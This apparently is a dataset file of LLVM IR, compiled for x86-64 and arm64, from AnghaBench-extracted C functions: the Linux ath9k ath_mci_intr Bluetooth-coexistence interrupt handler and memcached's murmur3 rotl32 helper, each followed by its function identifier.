@AR_MCI_INTERRUPT_RX_INVALID_HDR, align 4, !tbaa !12 %203 = and i32 %202, %201 %204 = icmp eq i32 %203, 0 %205 = load i32, ptr @AR_MCI_INTERRUPT_CONT_INFO_TIMEOUT, align 4, !tbaa !12 %206 = and i32 %205, %201 %207 = icmp eq i32 %206, 0 %208 = select i1 %204, i1 %207, i1 false br i1 %208, label %215, label %209 209: ; preds = %200 %210 = or i32 %205, %202 %211 = xor i32 %210, -1 %212 = and i32 %201, %211 store i32 %212, ptr %2, align 4, !tbaa !12 %213 = load i32, ptr @MCI_GPM_COEX_NOOP, align 4, !tbaa !12 %214 = call i32 @ath_mci_msg(ptr noundef nonnull %0, i32 noundef %213, ptr noundef null) #4 br label %215 215: ; preds = %108, %200, %209, %15 call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %4) #4 call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %3) #4 call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %2) #4 ret void } ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1 declare ptr @ath9k_hw_common(ptr noundef) local_unnamed_addr #2 declare i32 @ar9003_mci_get_interrupt(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #2 declare i64 @ar9003_mci_state(ptr noundef, i32 noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nounwind willreturn memory(argmem: readwrite) declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #3 declare i32 @ar9003_mci_send_message(ptr noundef, i32 noundef, i32 noundef, ptr noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1 declare i64 @test_bit(i32 noundef, ptr noundef) local_unnamed_addr #2 declare i32 @ar9003_mci_get_next_gpm_offset(ptr noundef, ptr noundef) local_unnamed_addr #2 declare i32 @MCI_GPM_TYPE(ptr noundef) local_unnamed_addr #2 declare i32 @MCI_GPM_OPCODE(ptr noundef) local_unnamed_addr #2 declare i64 @MCI_GPM_IS_CAL_TYPE(i32 noundef) local_unnamed_addr #2 declare i32 @ath_mci_cal_msg(ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #2 declare i32 @ath_mci_msg(ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #2 declare i32 @MCI_GPM_RECYCLE(ptr noundef) local_unnamed_addr #2 declare i32 @MS(i32 noundef, i32 noundef) local_unnamed_addr #2 declare i32 @ath_dbg(ptr noundef, i32 noundef, ptr noundef, ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #2 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { mustprogress nocallback nofree nounwind willreturn memory(argmem: readwrite) } attributes #4 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"ath_softc", !7, i64 0, !10, i64 8} !7 = !{!"any pointer", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!"ath_mci_coex", !11, i64 0} !11 = !{!"TYPE_4__", !7, i64 0} !12 = !{!13, !13, i64 0} !13 = !{!"int", !8, i64 0} !14 = !{!15, !16, i64 0} !15 = !{!"ath9k_hw_mci", !16, i64 0, !13, i64 8} !16 = !{!"long", !8, i64 0} !17 = !{!16, !16, i64 0} !18 = !{!10, !7, i64 0} !19 = distinct !{!19, !20} !20 = !{!"llvm.loop.mustprogress"} !21 = !{!15, !13, i64 8}
; ModuleID = 'AnghaBench/linux/drivers/net/wireless/ath/ath9k/extr_mci.c_ath_mci_intr.c' source_filename = "AnghaBench/linux/drivers/net/wireless/ath/ath9k/extr_mci.c_ath_mci_intr.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @MCI_GPM_MORE = common local_unnamed_addr global i32 0, align 4 @MCI_STATE_ENABLE = common local_unnamed_addr global i32 0, align 4 @MCI_STATE_INIT_GPM_OFFSET = common local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_RX_MSG_REQ_WAKE = common local_unnamed_addr global i32 0, align 4 @__const.ath_mci_intr.payload = private unnamed_addr constant [4 x i32] [i32 -1, i32 -1, i32 -1, i32 -256], align 4 @MCI_REMOTE_RESET = common local_unnamed_addr global i32 0, align 4 @MCI_SYS_WAKING = common local_unnamed_addr global i32 0, align 4 @MCI_STATE_RESET_REQ_WAKE = common local_unnamed_addr global i32 0, align 4 @MCI_STATE_SET_BT_AWAKE = common local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_RX_MSG_SYS_WAKING = common local_unnamed_addr global i32 0, align 4 @MCI_BT_SLEEP = common local_unnamed_addr global i64 0, align 8 @MCI_STATE_REMOTE_SLEEP = common local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_RX_MSG_SYS_SLEEPING = common local_unnamed_addr global i32 0, align 4 @MCI_BT_AWAKE = common local_unnamed_addr global i64 0, align 8 @AR_MCI_INTERRUPT_RX_INVALID_HDR = common local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_CONT_INFO_TIMEOUT = common local_unnamed_addr global i32 0, align 4 @MCI_STATE_RECOVER_RX = common local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_RX_MSG_SCHD_INFO = common local_unnamed_addr global i32 0, align 4 @MCI_STATE_LAST_SCHD_MSG_OFFSET = common local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_RX_MSG_GPM = common local_unnamed_addr global i32 0, align 4 @ATH_OP_HW_RESET = common local_unnamed_addr global i32 0, align 4 @MCI_GPM_INVALID = common local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_RX_HW_MSG_MASK = common local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_RX_MSG_LNA_CONTROL = common local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_RX_MSG_LNA_INFO = common local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_RX_MSG_CONT_INFO = common local_unnamed_addr global i32 0, align 4 @AR_MCI_CONT_RSSI_POWER = common local_unnamed_addr global i32 0, align 4 @MCI = common local_unnamed_addr global i32 0, align 4 @.str = private unnamed_addr constant [43 x i8] c"MCI CONT_INFO: (%s) pri = %d pwr = %d dBm\0A\00", align 1 @AR_MCI_CONT_TXRX = common local_unnamed_addr global i32 0, align 4 @.str.1 = private unnamed_addr constant [3 x i8] c"tx\00", align 1 @.str.2 = private unnamed_addr constant [3 x i8] c"rx\00", align 1 @AR_MCI_CONT_PRIORITY = common local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_RX_MSG_CONT_NACK = common local_unnamed_addr global i32 0, align 4 @AR_MCI_INTERRUPT_RX_MSG_CONT_RST = common local_unnamed_addr global i32 0, align 4 @MCI_GPM_COEX_NOOP = common local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind ssp uwtable(sync) define void @ath_mci_intr(ptr noundef %0) local_unnamed_addr #0 { %2 = alloca i32, align 4 %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca [4 x i32], align 4 %6 = getelementptr inbounds i8, ptr %0, i64 8 %7 = load ptr, ptr %0, align 8, !tbaa !6 %8 = tail call ptr @ath9k_hw_common(ptr noundef %7) #4 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %2) #4 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %3) #4 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %4) #4 %9 = load i32, ptr @MCI_GPM_MORE, align 4, !tbaa !13 store i32 %9, ptr %4, align 4, !tbaa !13 %10 = load ptr, ptr %0, align 8, !tbaa !6 %11 = call i32 @ar9003_mci_get_interrupt(ptr noundef %10, ptr noundef nonnull %2, ptr noundef nonnull %3) #4 %12 = load i32, ptr @MCI_STATE_ENABLE, align 4, !tbaa !13 %13 = call i64 @ar9003_mci_state(ptr noundef %7, i32 noundef %12) #4 %14 = icmp eq i64 %13, 0 br i1 %14, label %15, label %18 15: ; preds = %1 %16 = load i32, ptr @MCI_STATE_INIT_GPM_OFFSET, align 4, !tbaa !13 %17 = call i64 @ar9003_mci_state(ptr noundef %7, i32 noundef %16) #4 br label %215 18: ; preds = %1 %19 = load i32, ptr %3, align 4, !tbaa !13 %20 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_REQ_WAKE, align 4, !tbaa !13 %21 = and i32 %20, %19 %22 = icmp eq i32 %21, 0 br i1 %22, label %37, label %23 23: ; preds = %18 call void @llvm.lifetime.start.p0(i64 16, ptr nonnull %5) #4 call void @llvm.memcpy.p0.p0.i64(ptr noundef nonnull align 4 dereferenceable(16) %5, ptr noundef nonnull align 4 dereferenceable(16) @__const.ath_mci_intr.payload, i64 16, i1 false) %24 = load i32, ptr @MCI_REMOTE_RESET, align 4, !tbaa !13 %25 = call i32 @ar9003_mci_send_message(ptr noundef %7, i32 noundef %24, i32 noundef 0, ptr noundef nonnull %5, i32 noundef 16, i32 noundef 1, i32 noundef 0) #4 %26 = load i32, ptr @MCI_SYS_WAKING, align 4, !tbaa !13 %27 = call i32 @ar9003_mci_send_message(ptr noundef %7, i32 noundef %26, i32 noundef 0, ptr noundef null, i32 noundef 0, i32 noundef 1, i32 noundef 0) #4 %28 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_REQ_WAKE, align 4, !tbaa !13 %29 = xor i32 %28, -1 %30 = load i32, ptr %3, align 4, !tbaa !13 %31 = and i32 %30, %29 store i32 %31, ptr %3, align 4, !tbaa !13 %32 = load i32, ptr @MCI_STATE_RESET_REQ_WAKE, align 4, !tbaa !13 %33 = call i64 @ar9003_mci_state(ptr noundef %7, i32 noundef %32) #4 %34 = load i32, ptr @MCI_STATE_SET_BT_AWAKE, align 4, !tbaa !13 %35 = call i64 @ar9003_mci_state(ptr noundef %7, i32 noundef %34) #4 call void @llvm.lifetime.end.p0(i64 16, ptr nonnull %5) #4 %36 = load i32, ptr %3, align 4, !tbaa !13 br label %37 37: ; preds = %23, %18 %38 = phi i32 [ %36, %23 ], [ %19, %18 ] %39 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_SYS_WAKING, align 4, !tbaa !13 %40 = and i32 %39, %38 %41 = icmp eq i32 %40, 0 br i1 %41, label %56, label %42 42: ; preds = %37 %43 = xor i32 %39, -1 %44 = and i32 %38, %43 store i32 %44, ptr %3, align 4, !tbaa !13 %45 = load i64, ptr %7, align 8, !tbaa !15 %46 = load i64, ptr @MCI_BT_SLEEP, align 8, !tbaa !18 %47 = icmp eq i64 %45, %46 br i1 %47, label %48, label %56 48: ; preds = %42 %49 = load i32, ptr @MCI_STATE_REMOTE_SLEEP, align 4, !tbaa !13 %50 = call i64 @ar9003_mci_state(ptr noundef nonnull %7, i32 noundef %49) #4 %51 = load i64, ptr @MCI_BT_SLEEP, align 8, !tbaa !18 %52 = icmp eq i64 %50, %51 br i1 %52, label %56, label %53 53: ; preds = %48 %54 = load i32, ptr @MCI_STATE_SET_BT_AWAKE, align 4, !tbaa !13 %55 = call i64 @ar9003_mci_state(ptr noundef nonnull %7, i32 noundef %54) #4 br label %56 56: ; preds = %42, %48, %53, %37 %57 = load i32, ptr %3, align 4, !tbaa !13 %58 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_SYS_SLEEPING, align 4, !tbaa !13 %59 = and i32 %58, %57 %60 = icmp eq i32 %59, 0 br i1 %60, label %74, label %61 61: ; preds = %56 %62 = xor i32 %58, -1 %63 = and i32 %57, %62 store i32 %63, ptr %3, align 4, !tbaa !13 %64 = load i64, ptr %7, align 8, !tbaa !15 %65 = load i64, ptr @MCI_BT_AWAKE, align 8, !tbaa !18 %66 = icmp eq i64 %64, %65 br i1 %66, label %67, label %74 67: ; preds = %61 %68 = load i32, ptr @MCI_STATE_REMOTE_SLEEP, align 4, !tbaa !13 %69 = call i64 @ar9003_mci_state(ptr noundef nonnull %7, i32 noundef %68) #4 %70 = load i64, ptr @MCI_BT_AWAKE, align 8, !tbaa !18 %71 = icmp eq i64 %69, %70 br i1 %71, label %74, label %72 72: ; preds = %67 %73 = load i64, ptr @MCI_BT_SLEEP, align 8, !tbaa !18 store i64 %73, ptr %7, align 8, !tbaa !15 br label %74 74: ; preds = %61, %67, %72, %56 %75 = load i32, ptr %2, align 4, !tbaa !13 %76 = load i32, ptr @AR_MCI_INTERRUPT_RX_INVALID_HDR, align 4, !tbaa !13 %77 = and i32 %76, %75 %78 = icmp eq i32 %77, 0 br i1 %78, label %79, label %83 79: ; preds = %74 %80 = load i32, ptr @AR_MCI_INTERRUPT_CONT_INFO_TIMEOUT, align 4, !tbaa !13 %81 = and i32 %80, %75 %82 = icmp eq i32 %81, 0 br i1 %82, label %86, label %83 83: ; preds = %79, %74 %84 = load i32, ptr @MCI_STATE_RECOVER_RX, align 4, !tbaa !13 %85 = call i64 @ar9003_mci_state(ptr noundef %7, i32 noundef %84) #4 br label %86 86: ; preds = %83, %79 %87 = phi i1 [ false, %83 ], [ true, %79 ] %88 = load i32, ptr %3, align 4, !tbaa !13 %89 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_SCHD_INFO, align 4, !tbaa !13 %90 = and i32 %89, %88 %91 = icmp eq i32 %90, 0 br i1 %91, label %98, label %92 92: ; preds = %86 %93 = xor i32 %89, -1 %94 = and i32 %88, %93 store i32 %94, ptr %3, align 4, !tbaa !13 %95 = load i32, ptr @MCI_STATE_LAST_SCHD_MSG_OFFSET, align 4, !tbaa !13 %96 = call i64 @ar9003_mci_state(ptr noundef %7, i32 noundef %95) #4 %97 = load i32, ptr %3, align 4, !tbaa !13 br label %98 98: ; preds = %92, %86 %99 = phi i32 [ %97, %92 ], [ %88, %86 ] %100 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_GPM, align 4, !tbaa !13 %101 = and i32 %100, %99 %102 = icmp eq i32 %101, 0 br i1 %102, label %139, label %103 103: ; preds = %98 %104 = xor i32 %100, -1 %105 = and i32 %99, %104 store i32 %105, ptr %3, align 4, !tbaa !13 %106 = load i32, ptr @MCI_GPM_MORE, align 4, !tbaa !13 %107 = icmp eq i32 %9, %106 br i1 %107, label %108, label %139 108: ; preds = %103, %132 %109 = load i32, ptr @ATH_OP_HW_RESET, align 4, !tbaa !13 %110 = call i64 @test_bit(i32 noundef %109, ptr noundef %8) #4 %111 = icmp eq i64 %110, 0 br i1 %111, label %112, label %215 112: ; preds = %108 %113 = load ptr, ptr %6, align 8, !tbaa !19 %114 = call i32 @ar9003_mci_get_next_gpm_offset(ptr noundef %7, ptr noundef nonnull %4) #4 %115 = load i32, ptr @MCI_GPM_INVALID, align 4, !tbaa !13 %116 = icmp eq i32 %114, %115 br i1 %116, label %137, label %117 117: ; preds = %112 %118 = ashr i32 %114, 2 %119 = sext i32 %118 to i64 %120 = getelementptr inbounds i32, ptr %113, i64 %119 %121 = call i32 @MCI_GPM_TYPE(ptr noundef %120) #4 %122 = call i32 @MCI_GPM_OPCODE(ptr noundef %120) #4 br i1 %87, label %123, label %132 123: ; preds = %117 %124 = call i64 @MCI_GPM_IS_CAL_TYPE(i32 noundef %121) #4 %125 = icmp eq i64 %124, 0 br i1 %125, label %128, label %126 126: ; preds = %123 %127 = call i32 @ath_mci_cal_msg(ptr noundef nonnull %0, i32 noundef %121, ptr noundef %120) #4 br label %132 128: ; preds = %123 %129 = icmp eq i32 %121, 128 br i1 %129, label %130, label %132 130: ; preds = %128 %131 = call i32 @ath_mci_msg(ptr noundef nonnull %0, i32 noundef %122, ptr noundef %120) #4 br label %132 132: ; preds = %126, %128, %130, %117 %133 = call i32 @MCI_GPM_RECYCLE(ptr noundef %120) #4 %134 = load i32, ptr %4, align 4, !tbaa !13 %135 = load i32, ptr @MCI_GPM_MORE, align 4, !tbaa !13 %136 = icmp eq i32 %134, %135 br i1 %136, label %108, label %137, !llvm.loop !20 137: ; preds = %132, %112 %138 = load i32, ptr %3, align 4, !tbaa !13 br label %139 139: ; preds = %137, %103, %98 %140 = phi i32 [ %138, %137 ], [ %105, %103 ], [ %99, %98 ] %141 = load i32, ptr @AR_MCI_INTERRUPT_RX_HW_MSG_MASK, align 4, !tbaa !13 %142 = and i32 %141, %140 %143 = icmp eq i32 %142, 0 br i1 %143, label %200, label %144 144: ; preds = %139 %145 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_LNA_CONTROL, align 4, !tbaa !13 %146 = and i32 %145, %140 %147 = icmp eq i32 %146, 0 br i1 %147, label %151, label %148 148: ; preds = %144 %149 = xor i32 %145, -1 %150 = and i32 %140, %149 store i32 %150, ptr %3, align 4, !tbaa !13 br label %151 151: ; preds = %148, %144 %152 = phi i32 [ %150, %148 ], [ %140, %144 ] %153 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_LNA_INFO, align 4, !tbaa !13 %154 = and i32 %153, %152 %155 = icmp eq i32 %154, 0 br i1 %155, label %159, label %156 156: ; preds = %151 %157 = xor i32 %153, -1 %158 = and i32 %152, %157 store i32 %158, ptr %3, align 4, !tbaa !13 br label %159 159: ; preds = %156, %151 %160 = phi i32 [ %158, %156 ], [ %152, %151 ] %161 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_CONT_INFO, align 4, !tbaa !13 %162 = and i32 %161, %160 %163 = icmp eq i32 %162, 0 br i1 %163, label %184, label %164 164: ; preds = %159 %165 = getelementptr inbounds i8, ptr %7, i64 8 %166 = load i32, ptr %165, align 8, !tbaa !22 %167 = load i32, ptr @AR_MCI_CONT_RSSI_POWER, align 4, !tbaa !13 %168 = call i32 @MS(i32 noundef %166, i32 noundef %167) #4 %169 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_CONT_INFO, align 4, !tbaa !13 %170 = xor i32 %169, -1 %171 = load i32, ptr %3, align 4, !tbaa !13 %172 = and i32 %171, %170 store i32 %172, ptr %3, align 4, !tbaa !13 %173 = load i32, ptr @MCI, align 4, !tbaa !13 %174 = load i32, ptr %165, align 8, !tbaa !22 %175 = load i32, ptr @AR_MCI_CONT_TXRX, align 4, !tbaa !13 %176 = call i32 @MS(i32 noundef %174, i32 noundef %175) #4 %177 = icmp eq i32 %176, 0 %178 = select i1 %177, ptr @.str.2, ptr @.str.1 %179 = load i32, ptr %165, align 8, !tbaa !22 %180 = load i32, ptr @AR_MCI_CONT_PRIORITY, align 4, !tbaa !13 %181 = call i32 @MS(i32 noundef %179, i32 noundef %180) #4 %182 = call i32 @ath_dbg(ptr noundef %8, i32 noundef %173, ptr noundef nonnull @.str, ptr noundef nonnull %178, i32 noundef %181, i32 noundef %168) #4 %183 = load i32, ptr %3, align 4, !tbaa !13 br label %184 184: ; preds = %164, %159 %185 = phi i32 [ %183, %164 ], [ %160, %159 ] %186 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_CONT_NACK, align 4, !tbaa !13 %187 = and i32 %186, %185 %188 = icmp eq i32 %187, 0 br i1 %188, label %192, label %189 189: ; preds = %184 %190 = xor i32 %186, -1 %191 = and i32 %185, %190 store i32 %191, ptr %3, align 4, !tbaa !13 br label %192 192: ; preds = %189, %184 %193 = phi i32 [ %191, %189 ], [ %185, %184 ] %194 = load i32, ptr @AR_MCI_INTERRUPT_RX_MSG_CONT_RST, align 4, !tbaa !13 %195 = and i32 %194, %193 %196 = icmp eq i32 %195, 0 br i1 %196, label %200, label %197 197: ; preds = %192 %198 = xor i32 %194, -1 %199 = and i32 %193, %198 store i32 %199, ptr %3, align 4, !tbaa !13 br label %200 200: ; preds = %192, %197, %139 %201 = load i32, ptr %2, align 4, !tbaa !13 %202 = load i32, ptr @AR_MCI_INTERRUPT_RX_INVALID_HDR, align 4, !tbaa !13 %203 = and i32 %202, %201 %204 = icmp eq i32 %203, 0 %205 = load i32, ptr @AR_MCI_INTERRUPT_CONT_INFO_TIMEOUT, align 4, !tbaa !13 %206 = and i32 %205, %201 %207 = icmp eq i32 %206, 0 %208 = select i1 %204, i1 %207, i1 false br i1 %208, label %215, label %209 209: ; preds = %200 %210 = or i32 %205, %202 %211 = xor i32 %210, -1 %212 = and i32 %201, %211 store i32 %212, ptr %2, align 4, !tbaa !13 %213 = load i32, ptr @MCI_GPM_COEX_NOOP, align 4, !tbaa !13 %214 = call i32 @ath_mci_msg(ptr noundef nonnull %0, i32 noundef %213, ptr noundef null) #4 br label %215 215: ; preds = %108, %200, %209, %15 call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %4) #4 call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %3) #4 call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %2) #4 ret void } ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1 declare ptr @ath9k_hw_common(ptr noundef) local_unnamed_addr #2 declare i32 @ar9003_mci_get_interrupt(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #2 declare i64 @ar9003_mci_state(ptr noundef, i32 noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nounwind willreturn memory(argmem: readwrite) declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #3 declare i32 @ar9003_mci_send_message(ptr noundef, i32 noundef, i32 noundef, ptr noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1 declare i64 @test_bit(i32 noundef, ptr noundef) local_unnamed_addr #2 declare i32 @ar9003_mci_get_next_gpm_offset(ptr noundef, ptr noundef) local_unnamed_addr #2 declare i32 @MCI_GPM_TYPE(ptr noundef) local_unnamed_addr #2 declare i32 @MCI_GPM_OPCODE(ptr noundef) local_unnamed_addr #2 declare i64 @MCI_GPM_IS_CAL_TYPE(i32 noundef) local_unnamed_addr #2 declare i32 @ath_mci_cal_msg(ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #2 declare i32 @ath_mci_msg(ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #2 declare i32 @MCI_GPM_RECYCLE(ptr noundef) local_unnamed_addr #2 declare i32 @MS(i32 noundef, i32 noundef) local_unnamed_addr #2 declare i32 @ath_dbg(ptr noundef, i32 noundef, ptr noundef, ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #2 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #3 = { mustprogress nocallback nofree nounwind willreturn memory(argmem: readwrite) } attributes #4 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"ath_softc", !8, i64 0, !11, i64 8} !8 = !{!"any pointer", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!"ath_mci_coex", !12, i64 0} !12 = !{!"TYPE_4__", !8, i64 0} !13 = !{!14, !14, i64 0} !14 = !{!"int", !9, i64 0} !15 = !{!16, !17, i64 0} !16 = !{!"ath9k_hw_mci", !17, i64 0, !14, i64 8} !17 = !{!"long", !9, i64 0} !18 = !{!17, !17, i64 0} !19 = !{!11, !8, i64 0} !20 = distinct !{!20, !21} !21 = !{!"llvm.loop.mustprogress"} !22 = !{!16, !14, i64 8}
linux_drivers_net_wireless_ath_ath9k_extr_mci.c_ath_mci_intr
; ModuleID = 'AnghaBench/memcached/extr_murmur3_hash.c_rotl32.c' source_filename = "AnghaBench/memcached/extr_murmur3_hash.c_rotl32.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @llvm.compiler.used = appending global [1 x ptr] [ptr @rotl32], section "llvm.metadata" ; Function Attrs: inlinehint mustprogress nofree norecurse nosync nounwind willreturn memory(none) uwtable define internal i32 @rotl32(i32 noundef %0, i32 noundef %1) #0 { %3 = shl i32 %0, %1 %4 = sub nsw i32 32, %1 %5 = ashr i32 %0, %4 %6 = or i32 %5, %3 ret i32 %6 } attributes #0 = { inlinehint mustprogress nofree norecurse nosync nounwind willreturn memory(none) uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
; ModuleID = 'AnghaBench/memcached/extr_murmur3_hash.c_rotl32.c' source_filename = "AnghaBench/memcached/extr_murmur3_hash.c_rotl32.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @llvm.used = appending global [1 x ptr] [ptr @rotl32], section "llvm.metadata" ; Function Attrs: inlinehint mustprogress nofree norecurse nosync nounwind ssp willreturn memory(none) uwtable(sync) define internal i32 @rotl32(i32 noundef %0, i32 noundef %1) #0 { %3 = shl i32 %0, %1 %4 = sub nsw i32 32, %1 %5 = ashr i32 %0, %4 %6 = or i32 %5, %3 ret i32 %6 } attributes #0 = { inlinehint mustprogress nofree norecurse nosync nounwind ssp willreturn memory(none) uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
memcached_extr_murmur3_hash.c_rotl32
